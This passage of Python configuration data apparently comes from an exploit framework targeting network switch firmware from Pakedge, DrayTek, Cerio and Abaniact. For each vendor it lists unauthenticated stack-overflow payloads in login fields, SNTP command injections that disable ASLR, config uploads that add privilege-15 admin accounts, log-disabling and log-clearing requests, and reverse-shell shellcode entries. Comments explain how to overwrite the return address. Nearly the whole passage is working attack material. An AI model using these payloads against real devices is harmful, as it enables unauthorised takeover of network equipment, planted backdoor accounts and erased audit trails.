						'uri':'/cgi-bin/dispatcher.cgi?cmd=1',
						'content':'username='+ self.random_string(112) +'_JUMP_&password='+ self.random_string(80) +'_CMD_&login=1',

						'log_settings_set_cmd':'&LOGGING_SERVICE=0',# Disable Logging CMD
						'log_settings_set_SIGSEGV':True,			# Disable Logging SIGSEGV ?

						'log_ramClear_cmd':'',						# Clean RAM log CMD
						'log_ramClear_SIGSEGV':False,				# Clean RAM log SIGSEGV ?

						'log_fileClear_cmd':'',						# Clean FILE log CMD
						'log_fileClear_SIGSEGV':False,				# Clean FILE log SIGSEGV ?

						'workaround':False,	# My LAB workaround
						'verify_uri':'/tmp/check',
						'vulnerable': True,
						'safe': True
					},
					'stack_cgi_sntp': {
						'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
						'authenticated': False,
						'uri':'/cgi-bin/dispatcher.cgi?cmd=1',
						'content':'username='+ self.random_string(112) +'_JUMP_&password='+ self.random_string(80) +'_CMD_&login=1',

						'sys_timeSntp_set_cmd':'&sntp_Server=`echo 0 > /proc/sys/kernel/randomize_va_space`&sntp_Port=123',
						'sys_timeSntp_set_check':'&sntp_Server=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&sntp_Port=123',

						'sys_timeSntpDel_set_cmd':'&sntp_Server=+&sntp_Port=123',

						'sys_timeSettings_set_cmd_enable':'&sntp_enable=1',
						'sys_timeSettings_set_cmd_disable':'&sntp_enable=0',
						'sys_timeSettings_set_SIGSEGV': False,		# SIGSEGV ?

						'workaround':False,	# My LAB workaround
						'verify_uri':'/tmp/check',
						'vulnerable': False,
						'safe': True
					}, 

					#
					# After disabled ASLR, we can proceed to put NOP sled and shellcode on stack.
					# Then we will start walk down from top of stack to hit the NOP sled to execute shellcode
					#
					'heack_cgi_shell': {
						'description':'Stack overflow in "username/password" (PoC: reverse shell)',
						'authenticated': False,
						'login_uri':'/cgi-bin/dispatcher.cgi?cmd=1',
						'logout_uri':'/cgi-bin/dispatcher.cgi?cmd=3',
						'query':'username=_ALIGN_USRNOP_SHELLCODE&password=_PWDNOP_RA_START&login=1',
						'workaround':True,	# My LAB workaround
						'stack':True, # False = use Heap, and there are no ASLR
						'vulnerable': True,
						'safe': True
					},

				},
			},

			'Pakedge': { 
				'vendor': 'Pakedgedevice & Software Inc',
				'uri':'https://www.pakedge.com/products/switches/family/index.php',
				'modulus_uri':'/cgi/get.cgi?cmd=home_login',
				'info_leak':True,
				'info_leak_JSON':True,
				'info_leak_uri':'/cgi/get.cgi?cmd=home_login',
				'xsid':False,
				'xsid_uri':'/cgi/get.cgi?cmd=home_main',
				'login': {
					'description':'Login/Logout on remote device',
					'authenticated': True,
					'json':True,
					'encryption':'rsa',
					'login_uri':'/cgi/set.cgi?cmd=home_loginAuth',
					'query':'{"_ds=1&username=USERNAME&password=PASSWORD&_de=1":{}}',
					'status_uri':'/cgi/get.cgi?cmd=home_loginStatus',
					'logout_uri':'/cgi/set.cgi?cmd=home_logout',
					'vulnerable': True,
					'safe': True
				},
				'log':{
						'description':'Disable and clean logs',
						'authenticated': True,
						'json':True,
						'disable_uri':'/cgi/set.cgi?cmd=log_global',
						'disable_query':'{"_ds=1&empty=1&_de=1":{}}',
						'status':'/cgi/get.cgi?cmd=log_global',
						'clean_logfile_uri':'/cgi/set.cgi?cmd=log_clear',
						'clean_logfile_query':'{"_ds=1&target=1&_de=1":{}}',
						'clean_logmem_uri':'/cgi/set.cgi?cmd=log_clear',
						'clean_logmem_query':'{"_ds=1&target=0&_de=1":{}}',
						'vulnerable': True,
						'safe': True
				},
				# Verify lacking authentication
				'verify': { 
						'httpuploadruncfg.cgi':{
							'authenticated': False,
							'response':'file',
							'Content-Type':True,
							'description':'Upload/update "running-config" (PoC: Create invalid file to verify)',
							'uri':'/cgi/httpuploadruncfg.cgi',
							'check_uri':'/tmp/http_saverun_cfg',
							'content':'/var/config/running-config',
							'content_check':'/var/config/running-config',
							'vulnerable': True,
							'safe': True
						},
						'httprestorecfg.cgi':{
							'authenticated': False,
							'response':'file',
							'Content-Type':True,
							'description':'Upload "startup-config" (PoC: Create invalid file to verify)',
							'uri':'/cgi/httprestorecfg.cgi',
							'check_uri':'/tmp/startup-config',
							'content':'/mnt/startup-config',
							'content_check':'/mnt/startup-config',
							'vulnerable': True,
							'safe': True
						},
						'httpupload.cgi':{
							'authenticated': False,
							'response':'file',
							'Content-Type':True,
							'description':'Upload/Upgrade "Firmware" (PoC: Create invalid file to verify)',
							'uri':'/cgi-bin/httpupload.cgi',
							'check_uri':'/tmp/http_uploadfail',
							'content':'Copy: Illegal software format', # Not the real content, its the result of invalid firmware (workaround)
							'content_check':'Copy: Illegal software format',
							'vulnerable': True,
							'safe': True
						},
						'login.cgi': {
							'description':'Stack overflow in login.cgi (PoC: create file /tmp/VUL.TXT)',
							'authenticated': False,
							'response':'file',
							'Content-Type':False,
							'uri':'/cgi/set.cgi?cmd=home_loginAuth',
							'check_uri':'/tmp/VUL.TXT', # We cannot control the content...
							'content':'{"_ds=1&username='+ self.random_string(40) +'&password='+ '/' * 23 +'/tmp/VUL.TXT&_de=1":{}}',
							'content_check':'2',
							'vulnerable': True,
							'safe': True
						},
						'set.cgi': { # 'username' also suffer from stack overflow
							'description':'Stack overflow in "username/password" (PoC: crash CGI)',
							'authenticated': False,
							'response':'502',
							'Content-Type':False,
							'uri':'/cgi/set.cgi?cmd=home_loginAuth',
							'content':'{"_ds=1&username=admin&password=' + self.random_string(312) + '&_de=1":{}}',
							'check_uri':False,
							'content_check':False,
							'vulnerable': True,
							'safe': True
						},
				},
				'exploit': {
					'heack_hydra_shell': {
						'description':'[Boa/Hydra] Stack overflow in Boa/Hydra web server (PoC: reverse shell)',
						'authenticated': False,
						'uri':'/cgi-bin/httpupload.cgi?XXX', # Including alignment of opcodes in memory
						'vulnerable': True,
						'safe': False # Boa/Hydra restart/watchdog, False = no restart, True = restart
					},
					'priv15_account': {
						'description':'Upload/Update running-config (PoC: add priv 15 credentials)',
						'authenticated': False,
						'json':True,
						'encryption':'clear',
						'content':'Content-Type\n\nSYSTEM CONFIG FILE ::= BEGIN\nusername "USERNAME" password PASSWORD\n\n------',
						'add_uri':'/cgi/httpuploadruncfg.cgi',
						'del_query':'{"_ds=1&user=USERNAME&_de=1":{}}',
						'del_uri':'/cgi/set.cgi?cmd=sys_acctDel',
						'vulnerable': True,
						'safe': True
					}, 
					'sntp': {
						'description':'SNTP command injection (PoC: disable ASLR)',
						'json':True,
						'authenticated': True,
						'enable_uri':'/cgi/set.cgi?cmd=sys_time',
						'enable_query':'{"_ds=1&sntp=1&_de=1":{}}',
						'status_uri':'/cgi/get.cgi?cmd=sys_time',
						'inject_uri':'/cgi/set.cgi?cmd=sys_time',
						'inject_query':'{"_ds=1&sntp=1&srvDef=ipv4&srvHost=`echo 0 > /proc/sys/kernel/randomize_va_space`&port=139&_de=1":{}}',
						'check_query':'{"_ds=1&sntp=1&srvDef=ipv4&srvHost=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&port=139&_de=1":{}}',
						'delete_uri':'/cgi/set.cgi?cmd=sys_time',
						'delete_query':'{"_ds=1&sntp=1&timezone=0&srvDef=ipv4&srvHost=+&port=139&dlsType=0&_de=1":{}}',
						'disable_uri':'/cgi/set.cgi?cmd=sys_time',
						'disable_query':'{"_ds=1&sntp=0&_de=1":{}}',
						'verify_uri':'/tmp/check',
						'vulnerable': True,
						'safe': True
					},
					#
					# The stack overflow in 'username' and 'password' at same request are multipurpose.
					#

					#
					# The trick to jump and execute:
					# 1. Code: username=[garbage][RA + 0x58000000]&password=[garbage][NULL termination]
					# 2. [NULL termination] will overwrite 0x58 in RA so we can jump within the binary
					# 3. We dont jump to beginning of the functions, we jump just after 'sw $ra,($sp)' (important)
					# 4. We will also feed required function parameters, by adding them to '_CMD_'
					#
					'stack_cgi_diag': {	# Not vulnerable 
						'vulnerable': False,
					},
					'stack_cgi_log': {
						'description':'Stack overflow in "username/password" (PoC: Disable/Clean logs)',
						'authenticated': False,
						'uri':'/cgi/set.cgi?cmd=home_loginAuth',
						'content':'{"_ds=1&username='+ self.random_string(348)+ '_JUMP_&password='+ self.random_string(308) +'_CMD_&_de=1":{}}',

						#'log_settings_set_cmd':'&logState=1&consoleState=1&ramState=1&fileState=1',	# Enable Logging CMD
						'log_settings_set_cmd':'&empty=1',			# Disable Logging CMD
						'log_settings_set_SIGSEGV':True,			# Disable Logging SIGSEGV ?

						'log_ramClear_cmd':'&target=0',				# Clean RAM CMD
						'log_ramClear_SIGSEGV':True,				# Clean RAM SIGSEGV ?

						'log_fileClear_cmd':'&target=1',			# Clean FILE log CMD
						'log_fileClear_SIGSEGV':True,				# Clean FILE log SIGSEGV ?

						'workaround':False,	# My LAB workaround
						'verify_uri':'',
						'vulnerable': True,
						'safe': True
					},
					'stack_cgi_sntp': {
						'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
						'authenticated': False,
						'uri':'/cgi/set.cgi?cmd=home_loginAuth',
						'content':'{"_ds=1&username='+ self.random_string(348)+ '_JUMP_&password='+ self.random_string(308) +'_CMD_&_de=1":{}}',
						'sys_timeSntp_set_cmd':'&sntp=1&srvDef=ipv4&srvHost=`echo 0 > /proc/sys/kernel/randomize_va_space`&port=139',
						'sys_timeSntp_set_check':'&sntp=1&srvDef=ipv4&srvHost=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&port=139',

						'sys_timeSntpDel_set_cmd':'&sntp=1&srvDef=ipv4&srvHost=+&port=139',				# CMD

						'sys_timeSettings_set_cmd_enable':'&sntp=1',	# Enable CMD
						'sys_timeSettings_set_cmd_disable':'&sntp=0',	# Disable CMD
						'sys_timeSettings_set_SIGSEGV': True,		# SIGSEGV ?

						'workaround':False,	# My LAB workaround
						'verify_uri':'/tmp/check',
						'vulnerable': True,
						'safe': True
					}, 
					#
					# After disabled ASLR, we can proceed to put NOP sled and shellcode on stack.
					# Then we will start walk down from top of stack to hit the NOP sled to execute shellcode
					#
					'heack_cgi_shell': {
						'description':'Stack overflow in "username/password" (PoC: reverse shell)',
						'authenticated': False,
						'login_uri':'/cgi/set.cgi?cmd=home_loginAuth',
						'logout_uri':'/cgi/set.cgi?cmd=home_logout',
						'query':'{"_ds=1&username=_ALIGN_USRNOP_SHELLCODE&password=_PWDNOP_RA_START&_de=1":{}}',
						'stack':True, # False = use Heap, and there are no ASLR
						'workaround':False,	# My LAB workaround
						'vulnerable': True,
						'safe': True
					},

				},
			},

			'DrayTek': { 
				'vendor': 'DrayTek Corp.',
				'modulus_uri':'/cgi/get.cgi?cmd=home_login',
				'info_leak': True,
				'info_leak_JSON':True,
				'info_leak_uri':'/cgi/get.cgi?cmd=home_login',
				'xsid':False,
				'xsid_uri':'/cgi/get.cgi?cmd=home_main',
				'login': {
					'description':'Login/Logout on remote device',
					'authenticated': True,
					'json':True,
					'encryption':'rsa',
					'login_uri':'/cgi/set.cgi?cmd=home_loginAuth',
					'query':'{"_ds=1&username=USERNAME&password=PASSWORD&_de=1":{}}',
					'status_uri':'/cgi/get.cgi?cmd=home_loginStatus',
					'logout_uri':'/cgi/set.cgi?cmd=home_logout',
					'vulnerable': True,
					'safe': True
				},
				'log':{
						'description':'Disable and clean logs',
						'authenticated': True,
						'json':True,
						'disable_uri':'/cgi/set.cgi?cmd=log_global',
						'disable_query':'{"_ds=1&empty=1&_de=1":{}}',
						'status':'/cgi/get.cgi?cmd=log_global',
						'clean_logfile_uri':'/cgi/set.cgi?cmd=log_clear',
						'clean_logfile_query':'{"_ds=1&target=1&_de=1":{}}',
						'clean_logmem_uri':'/cgi/set.cgi?cmd=log_clear',
						'clean_logmem_query':'{"_ds=1&target=0&_de=1":{}}',
						'vulnerable': True,
						'safe': True
				},
				# Verify lacking authentication
				'verify': { 
						'httpuploadruncfg.cgi':{
							'authenticated': False,
							'response':'file',
							'Content-Type':True,
							'description':'Upload/update "running-config" (PoC: Create invalid file to verify)',
							'uri':'/cgi/httpuploadruncfg.cgi',
							'check_uri':'/tmp/http_saverun_cfg',
							'content':'/var/config/running-config',
							'content_check':'/var/config/running-config',
							'vulnerable': True,
							'safe': True
						},
						'httprestorecfg.cgi':{
							'authenticated': False,
							'response':'file',
							'Content-Type':True,
							'description':'Upload "startup-config" (PoC: Create invalid file to verify)',
							'uri':'/cgi/httprestorecfg.cgi',
							'check_uri':'/tmp/startup-config',
							'content':'/mnt/startup-config',
							'content_check':'/mnt/startup-config',
							'vulnerable': True,
							'safe': True
						},
						'httpupload.cgi':{
							'authenticated': False,
							'response':'file',
							'Content-Type':True,
							'description':'Upload/Upgrade "Firmware" (PoC: Create invalid file to verify)',
							'uri':'/cgi-bin/httpupload.cgi',
							'check_uri':'/tmp/http_uploadfail',
							'content':'Copy: Illegal software format', # Not the real content, its the result of invalid firmware (workaround)
							'content_check':'Copy: Illegal software format',
							'vulnerable': True,
							'safe': True
						},
						'login.cgi': {
							'description':'Stack overflow in login.cgi (PoC: create file /tmp/VUL.TXT)',
							'authenticated': False,
							'response':'file',
							'Content-Type':False,
							'uri':'/cgi/set.cgi?cmd=home_loginAuth',
							'check_uri':'/tmp/VUL.TXT', # We cannot control the content...
							'content':'{"_ds=1&username='+ self.random_string(40) +'&password='+ '/' * 23 +'/tmp/VUL.TXT&_de=1":{}}',
							'content_check':'1',
							'vulnerable': True,
							'safe': True
						},
						'set.cgi': { # 'username' also suffer from stack overflow
							'description':'Stack overflow in "username/password" (PoC: crash CGI)',
							'authenticated': False,
							'response':'502',
							'Content-Type':False,
							'uri':'/cgi/set.cgi?cmd=home_loginAuth',
							'content':'{"_ds=1&username=admin&password=' + self.random_string(312) + '&_de=1":{}}',
							'check_uri':False,
							'content_check':False,
							'vulnerable': True,
							'safe': True
						},
				},
				'exploit': {
					'heack_hydra_shell': {
						'description':'[Boa/Hydra] Stack overflow in Boa/Hydra web server (PoC: reverse shell)',
						'authenticated': False,
						'uri':'/cgi-bin/httpupload.cgi?XXX', # Including alignment of opcodes in memory
						'vulnerable': True,
						'safe': False # Boa/Hydra restart/watchdog, False = no restart, True = restart
					},
					'priv15_account': {
						'description':'Upload/Update running-config (PoC: add priv 15 credentials)',
						'authenticated': False,
						'json':True,
						'encryption':'clear',
						'content':'Content-Type\n\nSYSTEM CONFIG FILE ::= BEGIN\nusername "USERNAME" password PASSWORD\n\n------',
						'add_uri':'/cgi/httpuploadruncfg.cgi',
						'del_query':'{"_ds=1&user=USERNAME&_de=1":{}}',
						'del_uri':'/cgi/set.cgi?cmd=sys_acctDel',
						'vulnerable': True,
						'safe': True
					}, 
					'sntp': {
						'description':'SNTP command injection (PoC: disable ASLR)',
						'json':True,
						'authenticated': True,
						'enable_uri':'/cgi/set.cgi?cmd=sys_time',
						'enable_query':'{"_ds=1&sntp=1&_de=1":{}}',
						'status_uri':'/cgi/get.cgi?cmd=sys_time',
						'inject_uri':'/cgi/set.cgi?cmd=sys_time',
						'inject_query':'{"_ds=1&sntp=1&srvDef=ipv4&srvHost=`echo 0 > /proc/sys/kernel/randomize_va_space`&port=139&_de=1":{}}',
						'check_query':'{"_ds=1&sntp=1&srvDef=ipv4&srvHost=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&port=139&_de=1":{}}',
						'delete_uri':'/cgi/set.cgi?cmd=sys_time',
						'delete_query':'{"_ds=1&sntp=1&timezone=0&srvDef=ipv4&srvHost=+&port=139&dlsType=0&_de=1":{}}',
						'disable_uri':'/cgi/set.cgi?cmd=sys_time',
						'disable_query':'{"_ds=1&sntp=0&_de=1":{}}',
						'verify_uri':'/tmp/check',
						'vulnerable': True,
						'safe': True
					},
					#
					# The stack overflow in 'username' and 'password' at same request are multipurpose.
					#

					#
					# The trick to jump and execute:
					# 1. Code: username=[garbage][RA + 0x58000000]&password=[garbage][NULL termination]
					# 2. [NULL termination] will overwrite 0x58 in RA so we can jump within the binary
					# 3. We dont jump to beginning of the functions, we jump just after 'sw $ra,($sp)' (important)
					# 4. We will also feed required function parameters, by adding them to '_CMD_'
					#
					'stack_cgi_diag': {	# Not vulnerable 
						'vulnerable': False,
					},
					'stack_cgi_log': {
						'description':'Stack overflow in "username/password" (PoC: Disable/Clean logs)',
						'authenticated': False,
						'uri':'/cgi/set.cgi?cmd=home_loginAuth',
						'content':'{"_ds=1&username='+ self.random_string(348)+ '_JUMP_&password='+ self.random_string(308) +'_CMD_&_de=1":{}}',

						#'log_settings_set_cmd':'&logState=1&consoleState=1&ramState=1&fileState=1',	# Enable Logging CMD
						'log_settings_set_cmd':'&empty=1',			# Disable Logging CMD
						'log_settings_set_SIGSEGV':True,			# Disable Logging SIGSEGV ?

						'log_ramClear_cmd':'&target=0',				# Clean RAM CMD
						'log_ramClear_SIGSEGV':True,				# Clean RAM SIGSEGV ?

						'log_fileClear_cmd':'&target=1',			# Clean FILE log CMD
						'log_fileClear_SIGSEGV':True,				# Clean FILE log SIGSEGV ?

						'workaround':False,	# My LAB workaround
						'verify_uri':'',
						'vulnerable': True,
						'safe': True
					},
					'stack_cgi_sntp': {
						'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
						'authenticated': False,
						'uri':'/cgi/set.cgi?cmd=home_loginAuth',
						'content':'{"_ds=1&username='+ self.random_string(348)+ '_JUMP_&password='+ self.random_string(308) +'_CMD_&_de=1":{}}',
						'sys_timeSntp_set_cmd':'&sntp=1&srvDef=ipv4&srvHost=`echo 0 > /proc/sys/kernel/randomize_va_space`&port=139&dlsType=0',
						'sys_timeSntp_set_check':'&sntp=1&srvDef=ipv4&srvHost=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&port=139&dlsType=0',

						'sys_timeSntpDel_set_cmd':'&sntp=1&srvDef=ipv4&srvHost=+&port=139&dlsType=0',				# CMD

						'sys_timeSettings_set_cmd_enable':'&sntp=1',	# Enable CMD
						'sys_timeSettings_set_cmd_disable':'&sntp=0',	# Disable CMD
						'sys_timeSettings_set_SIGSEGV': True,		# SIGSEGV ?

						'workaround':False,	# My LAB workaround
						'verify_uri':'/tmp/check',
						'vulnerable': True,
						'safe': True
					}, 
					#
					# After disabled ASLR, we can proceed to put NOP sled and shellcode on stack.
					# Then we will start walk down from top of stack to hit the NOP sled to execute shellcode
					#
					'heack_cgi_shell': {
						'description':'Stack overflow in "username/password" (PoC: reverse shell)',
						'authenticated': False,
						'login_uri':'/cgi/set.cgi?cmd=home_loginAuth',
						'logout_uri':'/cgi/set.cgi?cmd=home_logout',
						'query':'{"_ds=1&username=_ALIGN_USRNOP_SHELLCODE&password=_PWDNOP_RA_START&_de=1":{}}',
						'stack':True, # False = use Heap, and there are no ASLR
						'workaround':False,	# My LAB workaround
						'vulnerable': True,
						'safe': True
					},

				},
			},

			'Cerio': { 
				'vendor': 'CERIO Corp.',
				'modulus_uri':'/cgi/get.cgi?cmd=home_login',
				'info_leak': False,
				'info_leak_JSON':True,
				'info_leak_uri':'/cgi/get.cgi?cmd=home_login',
				'xsid':False,
				'xsid_uri':'/cgi/get.cgi?cmd=home_main',
				'login': {
					'description':'Login/Logout on remote device',
					'authenticated': True,
					'json':True,
					'encryption':'rsa',
					'login_uri':'/cgi/set.cgi?cmd=home_loginAuth',
					'query':'{"_ds=1&username=USERNAME&password=PASSWORD&_de=1":{}}',
					'status_uri':'/cgi/get.cgi?cmd=home_loginStatus',
					'logout_uri':'/cgi/set.cgi?cmd=home_logout',
					'vulnerable': True,
					'safe': True
				},
				'log':{
						'description':'Disable and clean logs',
						'authenticated': True,
						'json':True,
						'disable_uri':'/cgi/set.cgi?cmd=log_global',
						'disable_query':'{"_ds=1&empty=1&_de=1":{}}',
						'status':'/cgi/get.cgi?cmd=log_global',
						'clean_logfile_uri':'/cgi/set.cgi?cmd=log_clear',
						'clean_logfile_query':'{"_ds=1&target=1&_de=1":{}}',
						'clean_logmem_uri':'/cgi/set.cgi?cmd=log_clear',
						'clean_logmem_query':'{"_ds=1&target=0&_de=1":{}}',
						'vulnerable': True,
						'safe': True
				},
				# Verify lacking authentication
				'verify': { 
						'httpuploadbakcfg.cgi':{
							'authenticated': False,
							'response':'file',
							'Content-Type':True,
							'description':'Upload "backup-config" (PoC: Create invalid file to verify)',
							'uri':'/cgi/httpuploadbakcfg.cgi',
							'check_uri':'/tmp/startup-config',
							'content':'/mntlog/startup-config',			# /mntlog instead of /mnt to verify
							'content_check':'/mntlog/startup-config',	# /mntlog instead of /mnt to verify
							'vulnerable': True,
							'safe': True
						},
						'httpuploadruncfg.cgi':{
							'authenticated': False,
							'response':'file',
							'Content-Type':True,
							'description':'Upload/update "running-config" (PoC: Create invalid file to verify)',
							'uri':'/cgi/httpuploadruncfg.cgi',
							'check_uri':'/tmp/http_saverun_cfg',
							'content':'/var/config/running-config',
							'content_check':'/var/config/running-config',
							'vulnerable': True,
							'safe': True
						},
						'httprestorecfg.cgi':{
							'authenticated': False,
							'response':'file',
							'Content-Type':True,
							'description':'Upload "startup-config" (PoC: Create invalid file to verify)',
							'uri':'/cgi/httprestorecfg.cgi',
							'check_uri':'/tmp/startup-config',
							'content':'/mnt/startup-config',
							'content_check':'/mnt/startup-config',
							'vulnerable': True,
							'safe': True
						},
						'httpupload.cgi':{
							'authenticated': False,
							'response':'file',
							'Content-Type':True,
							'description':'Upload/Upgrade "Firmware" (PoC: Create invalid file to verify)',
							'uri':'/cgi-bin/httpupload.cgi',
							'check_uri':'/tmp/http_uploadfail',
							'content':'Copy: Illegal software format', # Not the real content, its the result of invalid firmware (workaround)
							'content_check':'Copy: Illegal software format',
							'vulnerable': True,
							'safe': True
						},
						'login.cgi': {
							'description':'Stack overflow in login.cgi (PoC: create file /tmp/VUL.TXT)',
							'authenticated': False,
							'response':'file',
							'Content-Type':False,
							'uri':'/cgi/set.cgi?cmd=home_loginAuth',
							'check_uri':'/tmp/VUL.TXT', # We cannot control the content...
							'content':'{"_ds=1&username='+ self.random_string(40) +'&password='+ '/' * 23 +'/tmp/VUL.TXT&_de=1":{}}',
							'content_check':'1',
							'vulnerable': True,
							'safe': True
						},
						'set.cgi': { # 'username' also suffer from stack overflow
							'description':'Stack overflow in "username/password" (PoC: crash CGI)',
							'authenticated': False,
							'response':'502',
							'Content-Type':False,
							'uri':'/cgi/set.cgi?cmd=home_loginAuth',
							'content':'{"_ds=1&username=admin&password=' + self.random_string(312) + '&_de=1":{}}',
							'check_uri':False,
							'content_check':False,
							'vulnerable': True,
							'safe': True
						},
				},
				'exploit': {
					'heack_hydra_shell': {
						'description':'[Boa/Hydra] Stack overflow in Boa/Hydra web server (PoC: reverse shell)',
						'authenticated': False,
						'uri':'/cgi-bin/httpupload.cgi?XXX', # Including alignment of opcodes in memory
						'vulnerable': True,
						'safe': False # Boa/Hydra restart/watchdog, False = no restart, True = restart
					},
					'priv15_account': {
						'description':'Upload/Update running-config (PoC: add priv 15 credentials)',
						'authenticated': False,
						'json':True,
						'encryption':'clear',
						'content':'Content-Type\n\nSYSTEM CONFIG FILE ::= BEGIN\nusername "USERNAME" password PASSWORD\n\n------',
						'add_uri':'/cgi/httpuploadruncfg.cgi',
						'del_query':'{"_ds=1&user=USERNAME&_de=1":{}}',
						'del_uri':'/cgi/set.cgi?cmd=sys_acctDel',
						'vulnerable': True,
						'safe': True
					}, 
					'sntp': {
						'description':'SNTP command injection (PoC: disable ASLR)',
						'json':True,
						'authenticated': True,
						'enable_uri':'/cgi/set.cgi?cmd=sys_time',
						'enable_query':'{"_ds=1&sntp=1&_de=1":{}}',
						'status_uri':'/cgi/get.cgi?cmd=sys_time',
						'inject_uri':'/cgi/set.cgi?cmd=sys_time',

						'inject_query':'{"_ds=1&sntp=1&srvDef=ipv4&srvHost=`echo 0 > /proc/sys/kernel/randomize_va_space`&port=139&_de=1":{}}',
						'check_query':'{"_ds=1&sntp=1&srvDef=ipv4&srvHost=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&port=139&_de=1":{}}',

						'delete_uri':'/cgi/set.cgi?cmd=sys_time',
						'delete_query':'{"_ds=1&sntp=1&timezone=0&srvDef=ipv4&srvHost=+&port=139&dlsType=0&_de=1":{}}',
						'disable_uri':'/cgi/set.cgi?cmd=sys_time',
						'disable_query':'{"_ds=1&sntp=0&_de=1":{}}',
						'verify_uri':'/tmp/check',
						'vulnerable': True,
						'safe': True
					},
					#
					# The stack overflow in 'username' and 'password' at same request are multipurpose.
					#

					#
					# The trick to jump and execute:
					# 1. Code: username=[garbage][RA + 0x58000000]&password=[garbage][NULL termination]
					# 2. [NULL termination] will overwrite 0x58 in RA so we can jump within the binary
					# 3. We dont jump to beginning of the functions, we jump just after 'sw $ra,($sp)' (important)
					# 4. We will also feed required function parameters, by adding them to '_CMD_'
					#
					'stack_cgi_diag': {
						'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
						'authenticated': False,

						'uri':'/cgi/set.cgi?cmd=home_loginAuth',
						'content':'{"_ds=1&username='+ self.random_string(348)+ '_JUMP_&password='+ self.random_string(308) +'_CMD_&_de=1":{}}',

						'sys_ping_post_SIGSEGV': True,		# SIGSEGV ?

						'workaround':False,	# My LAB workaround
						'vulnerable': True,
						'safe': True

					},
					'stack_cgi_log': {
						'description':'Stack overflow in "username/password" (PoC: Disable/Clean logs)',
						'authenticated': False,
						'uri':'/cgi/set.cgi?cmd=home_loginAuth',
						'content':'{"_ds=1&username='+ self.random_string(348)+ '_JUMP_&password='+ self.random_string(308) +'_CMD_&_de=1":{}}',

						#'log_settings_set_cmd':'&logState=1&consoleState=1&ramState=1&fileState=1',	# Enable Logging CMD
						'log_settings_set_cmd':'&empty=1',			# Disable Logging CMD
						'log_settings_set_SIGSEGV':True,			# Disable Logging SIGSEGV ?

						'log_ramClear_cmd':'&target=0',				# Clean RAM CMD
						'log_ramClear_SIGSEGV':True,				# Clean RAM SIGSEGV ?

						'log_fileClear_cmd':'&target=1',			# Clean FILE log CMD
						'log_fileClear_SIGSEGV':True,				# Clean FILE log SIGSEGV ?

						'workaround':False,	# My LAB workaround
						'verify_uri':'',
						'vulnerable': True,
						'safe': True
					},
					'stack_cgi_sntp': {
						'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
						'authenticated': False,
						'uri':'/cgi/set.cgi?cmd=home_loginAuth',
						'content':'{"_ds=1&username='+ self.random_string(348)+ '_JUMP_&password='+ self.random_string(308) +'_CMD_&_de=1":{}}',

						'sys_timeSntp_set_cmd':'&sntp=1&srvDef=ipv4&srvHost=`echo 0 > /proc/sys/kernel/randomize_va_space`&port=139&dlsType=0',
						'sys_timeSntp_set_check':'&sntp=1&srvDef=ipv4&srvHost=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&port=139&dlsType=0',

						'sys_timeSntpDel_set_cmd':'&sntp=1&srvDef=ipv4&srvHost=+&port=139&dlsType=0',				# CMD

						'sys_timeSettings_set_cmd_enable':'&sntp=1',	# Enable CMD
						'sys_timeSettings_set_cmd_disable':'&sntp=0',	# Disable CMD
						'sys_timeSettings_set_SIGSEGV': True,		# SIGSEGV ?

						'workaround':False,	# My LAB workaround
						'verify_uri':'/tmp/check',
						'vulnerable': True,
						'safe': True
					}, 
					#
					# After disabled ASLR, we can proceed to put NOP sled and shellcode on stack.
					# Then we will start walk down from top of stack to hit the NOP sled to execute shellcode
					#
					'heack_cgi_shell': {
						'description':'Stack overflow in "username/password" (PoC: reverse shell)',
						'authenticated': False,
						'login_uri':'/cgi/set.cgi?cmd=home_loginAuth',
						'logout_uri':'/cgi/set.cgi?cmd=home_logout',
						'query':'{"_ds=1&username=_ALIGN_USRNOP_SHELLCODE&password=_PWDNOP_RA_START&_de=1":{}}',
						'stack':True, # False = use Heap, and there are no ASLR
						'workaround':False,	# My LAB workaround
						'vulnerable': True,
						'safe': True
					},

				},
			},

			'Abaniact': {
				'vendor': 'Abaniact',
				'modulus_uri':'',
				'info_leak':False,
				'info_leak_JSON':False,
				'info_leak_uri':'',
				'xsid':False,
				'xsid_uri':'',
				'login': {
					'description':'Login/Logout on remote device',
					'authenticated': True,
					'json':False,
					'encryption':'clear',
					'login_uri':'/cgi-bin/dispatcher.cgi?cmd=1',
					'query':'username=USERNAME&password=PASSWORD&login=1',
					'status_uri':'/cgi-bin/dispatcher.cgi?cmd=547',
					'logout_uri':'/cgi-bin/dispatcher.cgi?cmd=3',
					'vulnerable': True,
					'safe': True
				},
				'log':{
						'description':'Disable and clean logs',
						'authenticated': True,
						'json':False,
						'disable_uri':'/cgi-bin/dispatcher.cgi',
						'disable_query':'LOGGING_SERVICE=0&cmd=5121',
						'status':'',
						'clean_logfile_uri':'/cgi-bin/dispatcher.cgi',
						'clean_logfile_query':'cmd_5132=Clear+file+messages',
						'clean_logmem_uri':'/cgi-bin/dispatcher.cgi',
						'clean_logmem_query':'cmd_5132=Clear+buffered+messages',
						'vulnerable': True,
						'safe': True
				},
				# Verify lacking authentication
				'verify': {
						'httpuploadbakcfg.cgi':{
							'authenticated': False,
							'response':'html',
							'Content-Type':True,
							'description':'Upload "backup-config" (PoC: Create invalid file to verify)',
							'uri':'/cgi-bin/httpuploadbakcfg.cgi',
							'check_uri':'',
							'content':'dummy',
							'content_check':' Invalid config file!!', # one 0x20 in beginning
							'vulnerable': True,
							'safe': True
						},
						'httpuploadruncfg.cgi':{
							'authenticated': False,
							'response':'html',
							'Content-Type':True,
							'description':'Upload/update "running-config" (PoC: Create invalid file to verify)',
							'uri':'/cgi-bin/httpuploadruncfg.cgi',
							'check_uri':'',
							'content':'dummy',
							'content_check':' Invalid config file!!', # one 0x20 in beginning
							'vulnerable': True,
							'safe': True
						},
						'httprestorecfg.cgi':{
							'authenticated': False,
							'response':'html',
							'Content-Type':True,
							'description':'Upload "startup-config" (PoC: Create invalid file to verify)',
							'uri':'/cgi-bin/httprestorecfg.cgi',
